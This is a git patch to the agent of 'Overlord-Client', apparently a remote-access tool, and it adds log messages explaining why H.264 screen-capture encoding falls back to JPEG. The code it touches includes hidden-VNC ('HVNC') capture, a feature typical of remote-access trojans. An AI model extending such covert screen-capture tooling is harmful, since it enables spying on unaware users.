From d0c4c1d750b103f3bf225b6e5d3b52788ad8fef3 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 6 Mar 2026 13:27:51 -0600 Subject: [PATCH] printing reason on why no shit --- Overlord-Client/cmd/agent/capture/capture.go | 29 +++++++++++++++++-- .../cmd/agent/capture/h264_encoder_stub.go | 4 +++ .../cmd/agent/capture/h264_encoder_x264.go | 24 +++++++++++---- 3 files changed, 50 insertions(+), 7 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index c736eb0..a47e56e 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -312,10 +312,20 @@ type prevImage struct { func logCodecSupport() { codecLogOnce.Do(func() { if h264Available() { + detail := h264AvailabilityDetail() + if detail != "" { + log.Printf("capture: codec support h264=enabled (%s) jpeg=enabled", detail) + return + } log.Printf("capture: codec support h264=enabled jpeg=enabled") return } - log.Printf("capture: codec support h264=disabled (cgo off), jpeg=enabled") + detail := h264AvailabilityDetail() + if detail != "" { + log.Printf("capture: codec support h264=disabled (%s), jpeg=enabled", detail) + return + } + log.Printf("capture: codec support h264=disabled, jpeg=enabled") }) } @@ -483,6 +493,11 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264"}, Data: h264Bytes}, time.Since(encStart), nil } h264WarnOnce.Do(func() { + detail := h264AvailabilityDetail() + if detail != "" { + log.Printf("capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail) + return + } log.Printf("capture: h264 encode unavailable, falling back to jpeg: %v", err) }) codec = "jpeg" @@ -579,6 +594,11 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time return frame, time.Since(encStart), nil } h264WarnOnce.Do(func() { + detail := h264AvailabilityDetail() + if detail != "" { + log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail) + return + } log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err) }) codec = "jpeg" @@ -1198,7 +1218,12 @@ func SetQualityAndCodec(quality int, codec string) { } s := strings.ToLower(strings.TrimSpace(codec)) if s == "h264" && !h264Available() { - log.Printf("capture: requested codec=h264 but unavailable; forcing codec=jpeg") + detail := h264AvailabilityDetail() + if detail != "" { + log.Printf("capture: requested codec=h264 but unavailable (%s); forcing codec=jpeg", detail) + } else { + log.Printf("capture: requested codec=h264 but unavailable; forcing codec=jpeg") + } s = "jpeg" } switch s { diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go index 3c82bed..c120d2a 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go @@ -15,4 +15,8 @@ func h264Available() bool { return false } +func h264AvailabilityDetail() string { + return "cgo disabled in this build" +} + func resetH264Encoder() {} diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go index 3b76dbf..4f0f99e 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go @@ -4,6 +4,7 @@ package capture import ( "bytes" + "fmt" "image" "sync" @@ -11,11 +12,12 @@ import ( ) var ( - h264Mu sync.Mutex - h264Enc *x264.Encoder - h264Buf bytes.Buffer - h264Width int - h264Height int + h264Mu sync.Mutex + h264Enc *x264.Encoder + h264Buf bytes.Buffer + h264Width int + h264Height int + h264LastErr error ) func encodeH264Frame(img *image.RGBA) ([]byte, error) { @@ -27,13 +29,16 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) { defer h264Mu.Unlock() if err := ensureH264EncoderLocked(width, height); err != nil { + h264LastErr = err return nil, err } h264Buf.Reset() if err := h264Enc.Encode(img); err != nil { + h264LastErr = err return nil, err } + h264LastErr = nil out := make([]byte, h264Buf.Len()) copy(out, h264Buf.Bytes()) @@ -44,6 +49,15 @@ func h264Available() bool { return true } +func h264AvailabilityDetail() string { + h264Mu.Lock() + defer h264Mu.Unlock() + if h264LastErr != nil { + return fmt.Sprintf("x264 runtime error: %v", h264LastErr) + } + return "cgo build with x264-go" +} + func ensureH264EncoderLocked(width, height int) error { if h264Enc != nil && h264Width == width && h264Height == height { return nil